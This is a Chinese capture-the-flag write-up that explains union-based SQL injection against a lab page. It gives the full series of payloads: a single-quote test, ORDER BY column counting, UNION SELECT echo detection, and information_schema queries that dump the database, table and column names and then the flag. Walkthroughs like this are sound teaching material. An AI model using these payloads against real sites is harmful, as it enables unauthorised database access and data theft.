一、题目背景与注入点发现1. 初始页面信息访问目标地址 http://180.76.235.121:32925/?id1页面返回plaintextusername: Dumbpassword: 54521数据库中有个特殊的表flag就在这个表的数据中这说明我们访问的是一个根据 id 参数查询用户信息的页面且存在一个存储Flag的“特殊表”。2. 注入类型判断关键第一步问题怎么判断是不是注入点是什么类型的注入我们给 id 参数加上单引号测试plaintext?id1页面直接报SQL语法错误plaintextYou have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 1 limit 0,1 at line 1结论- 报错说明参数 id 没有做过滤存在SQL注入漏洞- 错误信息中出现了额外的 说明是单引号闭合的字符串型注入后续所有语句都要加上单引号和注释符 -- 来闭合原查询二、字段数判断Union注入的“地基”1. 为什么要判断字段数Union Select 要求前后两个查询的列数必须完全一致否则会直接报错。就像快递柜你要往里面放东西必须先知道有几个格子。2. 用 Order By 精准判断我们从2开始逐个测试字段数plaintext?id1 order by 2-- // 正常显示说明列数≥2?id1 order by 3-- // 正常显示说明列数≥3?id1 order by 4-- // 正常显示说明列数≥4?id1 order by 5-- // 报错说明列数是4结论当前查询返回4列数据后续所有 Union Select 语句都必须写4个字段。三、回显位确定拿到和数据库对话的窗口1. 为什么要找回显位数据库里的信息不会凭空出现在页面上我们需要找到页面上哪个位置可以显示我们注入的查询结果这个位置就是“回显位”。2. 用 Union Select 找回显位构造语句让原查询失效强制显示我们的查询结果plaintext?id-1 union select 1,2,3,4--- id-1 让原查询 id1 的结果为空从而执行后面的 Union Select- 1,2,3,4 和原查询的4列字段数保持一致- -- 注释掉后面的SQL语句避免语法错误页面返回plaintextusername: 2password: 3结论 username 位置第2列和 password 位置第3列都可以回显数据我们选择 2 号位置作为后续的回显位。四、爆数据库名拿到第一份关键信息1. 目标获取当前页面连接的数据库名称后续才能通过 information_schema 系统表查询表名。2. 注入语句plaintext?id-1 union select 1,database(),3,4--- database() MySQL内置函数返回当前连接的数据库名- 我们把函数放在回显位 2 的位置让结果显示在 username 字段页面返回plaintextusername: de7390f08e结论当前数据库名为 de7390f08e 。五、爆所有表名找到存储Flag的“特殊表”1. 原理MySQL的 information_schema.tables 表存储了所有数据库的表名我们可以通过 where table_schema数据库名 来查询当前数据库的所有表。2. 注入语句plaintext?id-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schemadatabase()--- group_concat() 把所有表名拼接成一行显示避免分页查询的麻烦- table_schemadatabase() 指定查询当前数据库的表页面返回plaintextusername: t15d405eb4,users结论当前数据库有两个表 users 和 t15d405eb4 。根据题目提示 users 是普通用户表所以存储Flag的“特殊表”是 t15d405eb4 。六、爆目标表列名找到Flag所在的列1. 原理information_schema.columns 表存储了所有表的列名我们通过 where table_name表名 来查询目标表的列结构。2. 注入语句plaintext?id-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_namet15d405eb4--- table_namet15d405eb4 指定查询我们找到的特殊表的列名页面返回plaintextusername: id,username,c193840be1结论目标表有3个列其中 c193840be1 是存储Flag的列非 id 、 username 的列大概率就是Flag列。七、查询Flag数据通关1. 最终注入语句直接查询 c193840be1 列的内容plaintext?id-1 union select 1,c193840be1,3,4 from t15d405eb4--2. 页面返回plaintextusername: flag{b934485f-1df4-4890-a4c2-cf3d221871ad} 成功拿到Flag八、流程复盘与总结我们整个流程严格遵循了Union注入的标准步骤1. 发现注入点单引号报错确定字符串型注入2. 判断字段数用 order by 确定列数为43. 找到回显位用 union select 1,2,3,4 确定可回显位置4. 爆数据库名 database() 获取当前库名5. 爆所有表名通过 information_schema.tables 找到目标表6. 爆目标表列名通过 information_schema.columns 找到Flag列7. 查询Flag数据直接查询目标列拿到FlagUnion注入的核心逻辑就是先和数据库建立“对话通道”回显位再通过系统表一层层拿到我们需要的信息最后直接查询目标数据。只要字段数和回显位判断正确后面的步骤几乎都是固定的模板